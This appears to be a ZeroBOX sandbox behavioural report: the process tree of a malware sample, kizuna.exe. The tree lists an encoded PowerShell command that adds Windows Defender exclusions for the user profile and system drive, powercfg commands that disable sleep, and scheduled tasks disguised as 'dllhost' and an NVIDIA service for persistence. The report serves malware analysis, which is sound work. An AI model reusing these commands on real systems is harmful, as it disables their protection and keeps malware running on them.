| ZeroBOX

kizuna.exe "C:\Users\test22\AppData\Local\Temp\kizuna.exe"
2772
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\main\main.bat" /S"
  2892
  - mode.com mode 65,10
    2960
  - 7z.exe 7z.exe e file.zip -p30715460265981646240356924 -oextracted
    3004
  - 7z.exe 7z.exe e extracted/file_3.zip -oextracted
    3052
  - 7z.exe 7z.exe e extracted/file_2.zip -oextracted
    2052
  - 7z.exe 7z.exe e extracted/file_1.zip -oextracted
    2148
  - attrib.exe attrib +H "KiZuNa.exe"
    1304
  - KiZuNa.exe "KiZuNa.exe"
    2204
    - cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAGkASAA2AE8AWQBTAEUAVQBpAEUAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB5AGMAeQBBAGQAMwA1AGIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMARQBUAG8AVABFAFMASwBCACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADIATgBvADIAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
      2480
      - powershell.exe powershell -EncodedCommand "PAAjAGkASAA2AE8AWQBTAEUAVQBpAEUAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB5AGMAeQBBAGQAMwA1AGIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMARQBUAG8AVABFAFMASwBCACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADIATgBvADIAIwA+AA=="
        2552
      - powercfg.exe powercfg /x -hibernate-timeout-ac 0
        2808
      - powercfg.exe powercfg /x -hibernate-timeout-dc 0
        2860
      - powercfg.exe powercfg /x -standby-timeout-ac 0
        2980
      - powercfg.exe powercfg /x -standby-timeout-dc 0
        3048
      - powercfg.exe powercfg /hibernate off
        2100
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      2020
      - schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        2628
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk9349" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      2264
      - schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk9349" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        2732

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents